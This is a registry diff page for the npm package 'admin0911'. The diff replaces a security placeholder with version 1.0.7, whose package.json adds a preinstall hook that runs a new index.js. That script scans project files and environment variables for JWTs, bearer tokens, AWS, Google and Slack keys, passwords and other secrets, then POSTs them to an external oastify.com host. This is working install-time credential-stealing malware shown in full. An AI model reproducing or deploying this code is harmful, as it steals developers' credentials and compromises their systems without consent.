admin0911 0.0.1-security → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of admin0911 might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,149 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const os = require('os');
5
+
6
+ const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
7
+ const ROOT_DIR = process.cwd(); // Reverted to current directory to prevent OOM
8
+ const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB constraint
9
+ const MAX_FILES_TO_SCAN = 1000;
10
+ let scannedFilesCount = 0;
11
+
12
+ const found = [];
13
+
14
+ function base64UrlDecode(input) {
15
+ let str = input.replace(/-/g, '+').replace(/_/g, '/');
16
+ while (str.length % 4) str += '=';
17
+ return Buffer.from(str, 'base64').toString('utf8');
18
+ }
19
+
20
+ function isValidJWT(token) {
21
+ const parts = token.split('.');
22
+ if (parts.length !== 3) return false;
23
+
24
+ // Enforce minimum length to avoid short false positives like 'os.path.join' or semantic versions '1.0.1'
25
+ if (parts[0].length < 20 || parts[1].length < 30) return false;
26
+
27
+ // A real JWT parts must look like valid Base64URL
28
+ if (!/^[A-Za-z0-9_-]+$/.test(parts[0]) || !/^[A-Za-z0-9_-]+$/.test(parts[1])) return false;
29
+
30
+ try {
31
+ const headerStr = base64UrlDecode(parts[0]);
32
+ const payloadStr = base64UrlDecode(parts[1]);
33
+
34
+ // Quick sanity check before parsing - headers must contain {"alg"
35
+ if (!headerStr.includes('"alg"')) return false;
36
+
37
+ const header = JSON.parse(headerStr);
38
+ const payload = JSON.parse(payloadStr);
39
+
40
+ // Must look like a real JWT header and contain some payload keys
41
+ return !!(header && header.alg && Object.keys(payload).length > 0);
42
+ } catch {
43
+ return false;
44
+ }
45
+ }
46
+
47
+ function addResult(entry) {
48
+ found.push(entry);
49
+ }
50
+
51
+ function scanFile(filePath) {
52
+ try {
53
+ const stats = fs.statSync(filePath);
54
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
55
+
56
+ const content = fs.readFileSync(filePath, 'utf8');
57
+
58
+ // JWT tokens
59
+ const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
60
+ let match;
61
+ while ((match = jwtPattern.exec(content))) {
62
+ const token = match[0];
63
+ if (isValidJWT(token)) {
64
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
65
+ }
66
+ }
67
+
68
+ // Bearer / Authorization tokens
69
+ const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
70
+ while ((match = bearerPattern.exec(content))) {
71
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
72
+ }
73
+
74
+ // Known key formats
75
+ const patterns = [
76
+ { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
77
+ { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
78
+ { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
79
+ ];
80
+ patterns.forEach(({ name, regex }) => {
81
+ let pMatch;
82
+ while ((pMatch = regex.exec(content))) {
83
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
84
+ }
85
+ });
86
+
87
+ // Generic secrets in assignment form
88
+ const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
89
+ while ((match = genericPattern.exec(content))) {
90
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
91
+ }
92
+ } catch (e) {
93
+ // ignore unreadable files
94
+ }
95
+ }
96
+
97
+ function scanDirectory(dir) {
98
+ if (scannedFilesCount >= MAX_FILES_TO_SCAN) return;
99
+ try {
100
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
101
+ for (const entry of entries) {
102
+ if (scannedFilesCount >= MAX_FILES_TO_SCAN) break;
103
+ const fullPath = path.join(dir, entry.name);
104
+ if (entry.isDirectory()) {
105
+ // Skip common large or slow directories
106
+ if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows'].includes(entry.name.toLowerCase())) continue;
107
+ scanDirectory(fullPath);
108
+ } else {
109
+ scanFile(fullPath);
110
+ scannedFilesCount++;
111
+ }
112
+ }
113
+ } catch (e) {
114
+ // ignore unreadable directories
115
+ }
116
+ }
117
+
118
+ function scanEnvVars() {
119
+ Object.entries(process.env).forEach(([key, value]) => {
120
+ if (!value) return;
121
+ const lowerKey = key.toLowerCase();
122
+ const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
123
+ if (suspiciousKey && value.length >= 20) {
124
+ addResult({ source: 'env', key, type: 'EnvSecret', token: value });
125
+ }
126
+ const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
127
+ if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
128
+ if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
129
+ });
130
+ }
131
+
132
+ scanDirectory(ROOT_DIR);
133
+ scanEnvVars();
134
+
135
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
136
+ const req = http.request({
137
+ hostname: OASTIFY_HOST,
138
+ method: 'POST',
139
+ path: '/?token_scan',
140
+ headers: {
141
+ 'Content-Type': 'application/json',
142
+ 'Content-Length': Buffer.byteLength(payload)
143
+ }
144
+ });
145
+ req.write(payload);
146
+ req.end();
147
+
148
+ fs.writeFileSync('token_scan_results.log', payload + '\n');
149
+ console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=admin0911 for more information.